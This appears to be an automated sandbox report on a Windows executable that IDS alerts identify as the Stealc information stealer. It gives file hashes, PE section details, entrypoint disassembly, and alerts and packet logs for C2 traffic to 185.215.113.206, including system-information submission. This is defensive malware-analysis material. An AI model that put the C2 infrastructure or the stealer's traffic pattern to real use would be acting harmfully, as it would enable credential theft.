SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.959673566936699
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'129'920 bytes
MD5:	377335949fa0fac8b8a2b2ca2821982f
SHA1:	27e43ed482195ad1ee904b18ef79705c5e75a3ad
SHA256:	5b1a82b3eea6918e02279c84044641fad0bd8d036ab6ed100b6db90ac121e638
SHA512:	1ca440c981f95edb0c091f7d9036bb31d4cb64c270db6038d868f96460f456a1009e9f01e709390687be3623a4aa084291b77d5dfa187dd2259b7d622f2a71e5
SSDEEP:	49152:qkbbJ2OgwVcrDdnzGxZUaBg559AlOLk/+IAXaVo8k3:qhBSoDdzGMaBOvAlOLkGI9nk3
TLSH:	9FA53381AD15D8CCE7ED8BF3488E5F45E979838AD88593B09BC37C9D76C05C688C84A6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb2c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC82851A21Ah
divps xmm4, dqword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	615661957d37ffd040d1636c1eb462eb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2a4000	0x200	52aff3724a800766d4ad7b233cf4d99e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oguwjjrw	0x58e000	0x19d000	0x19ce00	a0990bf96e160266b07a605d182a19ec	False	0.9948726773009385	data	7.954844816615369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ecmtdmxj	0x72b000	0x1000	0x600	596d6e10194b519bdafe009303c1130b	False	0.576171875	data	4.997906561557789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x72c000	0x3000	0x2200	34391ce7c6c0786e5beab33f6754b815	False	0.05411305147058824	DOS executable (COM)	0.5121057040304888	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T23:11:11.612919+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T23:11:11.904903+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T23:11:11.911961+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-30T23:11:12.196052+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T23:11:12.204243+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-30T23:11:13.308530+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T23:11:14.252001+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T23:11:41.192600+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49870	185.215.113.206	80	TCP
2024-10-30T23:11:48.781463+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49980	185.215.113.206	80	TCP
2024-10-30T23:11:52.035441+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49980	185.215.113.206	80	TCP
2024-10-30T23:11:53.829506+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49980	185.215.113.206	80	TCP
2024-10-30T23:11:56.586398+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49980	185.215.113.206	80	TCP
2024-10-30T23:11:57.232745+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49980	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 23:11:02.362148046 CET	49675	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:02.362149954 CET	49674	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:02.471478939 CET	49673	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:10.380249023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:10.386181116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:10.386390924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:10.386599064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:10.392324924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:11.308525085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:11.308614969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:11.311667919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:11.317502022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:11.612828016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:11.612919092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:11.614919901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:11.620726109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:11.904784918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:11.904803038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:11.904902935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:11.904902935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:11.906049967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:11.911961079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:11.971426964 CET	49674	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:11.971461058 CET	49675	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:12.080820084 CET	49673	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:12.195928097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.195957899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.195970058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.196052074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:12.196105957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.196113110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:12.196151972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:12.196170092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.196225882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:12.196270943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.196283102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.196322918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:12.198417902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:12.204242945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.487277031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.487364054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:12.505827904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:12.505943060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:12.511791945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.511873960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.511898994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.511985064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.512085915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:12.512161016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:13.308435917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:13.308530092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:13.844608068 CET	443	49703	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:13.844752073 CET	49703	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:13.964864969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:13.970839977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.251883984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.251904011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.251914024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.251971960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.252001047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.252001047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.252032995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.252108097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.252170086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.252175093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.252187967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.252221107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.252316952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.252377987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.252834082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.252886057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.252903938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.252916098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.252948046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.253083944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.253130913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.253736973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.253746033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.253788948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.423280954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.423340082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.423403025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.423480988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.423482895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.423492908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.423563004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.423651934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.423722982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.424029112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.424098015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.424112082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.424123049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.424160957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.424262047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.424325943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.424843073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.424864054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.424875021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.424906015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.424922943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.424922943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.540990114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.541059971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.541069031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.541080952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.541115999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.541152000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.541171074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.541227102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.541557074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.541608095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.541625977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.541639090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.541675091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.542018890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.542083025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.542098999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.542114019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.542143106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.542159081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.542258978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.542304039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.542785883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.542834044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.585755110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.585796118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.585822105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.585864067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.585884094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.585912943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.585932016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.585967064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.659056902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.659197092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.659204960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.659216881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.659229994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.659260035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.659293890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.659404993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.659418106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.659461021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.659917116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.659974098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.659991026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.660001993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.660042048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.660181999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.660234928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.660691023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.660761118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.703634024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.703665018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.703676939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.703706026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.703742027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.703807116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.703860998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.703879118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.703929901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.776864052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.776963949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.776987076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.776995897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.777017117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.777031898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.777045012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.777048111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.777059078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.777072906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.777096033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.777673006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.777750969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.777797937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.777842045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.777847052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.777880907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.778031111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.778079987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.778084993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.778120995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.821484089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.821497917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.821547031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.821619987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.821643114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.821654081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.821671009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.821707964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.821805000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.821851969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.822580099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.822633028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.894777060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.894841909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.894851923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.894974947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.895036936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.895050049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.895061016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.895102024 CET	49704	80	192.168.2.5	185.215.113.206
